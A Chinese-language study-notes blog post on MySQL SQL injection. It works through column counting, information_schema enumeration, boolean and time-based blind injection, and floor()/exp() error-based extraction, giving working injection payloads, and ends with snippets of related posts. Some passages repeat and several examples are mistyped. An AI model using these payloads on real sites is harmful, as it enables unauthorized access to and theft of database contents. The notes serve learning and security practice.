ps:hackbar竟然要付費emmmm,直接又去找了老的2.1.3裝上
一些基礎知識(待補充):
order by x
(x為數字)
以第x列的資料為基準進行排序,若不存在該列則報錯
用途:sql注入中常用來判斷表長
2.union select
找到回顯示點
關於原理可以參考
3.information_schema資料庫
mysql自帶資料庫,儲存所有其他資料庫的資訊.如資料庫名,資料庫的表,表欄的資料型別與訪問許可權等
–schemata:提供了當前mysql資料庫中所有資料庫的資訊,其中schema_name字
段儲存了所有的資料庫名.show databases的結果取自此表.
–tables:提供了關於資料庫中的表的資訊,詳細表述了某個表屬於哪個schema,表型別,表引擎,建立時間等資訊,其中table_name欄位儲存了所有列名資訊,show tables from schemaname的結果取自此表.
–columns:提供了表中的列資訊.詳細表述了某張表的所有列以及每個列的資訊,其中column_name儲存了所有的字段資訊.show columns from
schemaname.tablename的結果取自此表
用途:sql注入中
1)獲取庫名
select schema_name from information_schema.schemata
2)獲取庫中表資訊
select table_name from information_schema.
tables
where table_schema =
'資料庫名'
3)獲取表中列資訊
select column_name from information_schema.
columns
where table_schema=
'sqli'
and table_name=
'user'
sqli庫中的user表頭資訊
4)獲取表中相關列的資訊
select 要獲取的列 from 庫名.表名
注:獲取方式
*後加limit x,y
(從第x行開始,顯示接下來y行的資訊)來逐行獲取資訊
*前加group_concat(要顯示的列名)
直接顯示出該列下全部資訊
*前加concat_ws('兩列之間關聯的字元',顯示的一列,顯示的另一列)
pl :cincat_ws('-',name,age)
結果為name-age…
4.判斷字串是否相同的函式
left()函式
left(user()
,x)=
'y'
判斷user()的前x位是不是y(y可以為一串字元)
是為1,否為0
regexp函式
user()regexp
'y'
如果user()為y則返回1
否則0like函式
user()regexp
'y%'
同regexp,判斷多出%
5.substr(a,b,c)
1.判斷字串是否相同的函式
left()函式
left(user()
,x)=
'y'
判斷user()的前x位是不是y(y可以為一串字元)
是為1,否為0
regexp函式
user()regexp
'y'
如果user()為y則返回1
否則0like函式
user()regexp
'y%'
同regexp,判斷多出%
2.substr(a,b,c)
將a串從第b位擷取c個位(包括b位)
3.ascii()
字串(最左側字元)轉換為ascii碼
4.floor()
返回括號內向下取整的值
5.count()
有幾種不同的形式
count(column_name)
函式返回指定列的值的數目(null 不計入)
count(*)
函式返回符合查詢條件的表的記錄數
6.通過floor報錯進行回顯
select count(*) ,concat(要執行的語句,floor(rand(0)*2))x from security.users group by x
原理簡述:因為rand()在括號中輸入任意引數將會每次生成相同的隨機數(偽隨機),rand(0)*2配和floor取整會生成乙個0或1,當group by產生的隨機表中沒有相同的key值時,會再次計算一次floor(rand(0)*2),依次結果為01101,則gourp by第三列的時候第一次為1,計算為0,則報錯回顯、
7.利用left結合頁面正誤結果依次爆庫
例如:
?id=
1' and left(select database(),x)='依位爆出資料庫字段'--+
將x從1開始,根據回顯的正誤找到對應的一位字元,正確後
遞增x繼續
利用exp()函式造成double數值型別超出範圍進行報錯注入
!!!!!
而在mysql>5.5.53時,則不能返回查詢結果!!!!
exp(~(
select
*from
(select
database()
)a))
原理:
(1)mysql exp(x)函式 返回e(自然對數的底)的x次方的值,但是這個數學函式有乙個問題,那就是當傳遞乙個大於709的值時,函式exp()就會引起乙個溢位錯誤。
(2)~表示取反操作,將0按位取反就會返回「18446744073709551615」。再加上函式成功執行後返回0的緣故,我們將成功執行的函式取反就會得到最大的無符號bigint值。
(3)我們通過子查詢與按位求反,造成乙個「double value is out of range」錯誤,並借由此注出資料。
8.(n)函式,n為延時的秒數 例如 用
sleep(if((select database()=『要判斷的名字』),5,0))`
有延遲即為判斷正確,根據實際情況可將if()的判斷部分變換使用
注:在實戰中盲注應先判斷長度,個數等,然後再具體爆出名字,手工注入時也可以使用二分法提高效率
sql注入必備知識
原文 mysql常用注釋 mysql認證繞過 mysql連線符 mysql中使用 來進行連線。select from users where username zhangsan and ab a b mysql中常見函式 在進行sql注入過程中,會使用到mysql中的內建函式。在內建函式中,又分為獲...
sql注入準備知識
這篇文章會介紹一些sql注入的準備知識,都是基於mysql資料庫的 sql語言是什麼 一種功能極強的關聯式資料庫標準語言,不需要定義如何訪問資料庫,只需要告訴資料庫要做什麼 sql語言的主要功能 基本資料庫資訊 操作查詢出的資料函式 我初期學習的時候一直感到疑惑的語句,在這裡記錄一下 select ...
sql注入(筆記)
一般注入,select注入 1.注釋符號 2.過濾空格注入 使用 或 或 代替空格 0c form feed,new page 09 horizontal tab 0d carriage return 0a line feed,new line3.多條顯示 concat group concat c...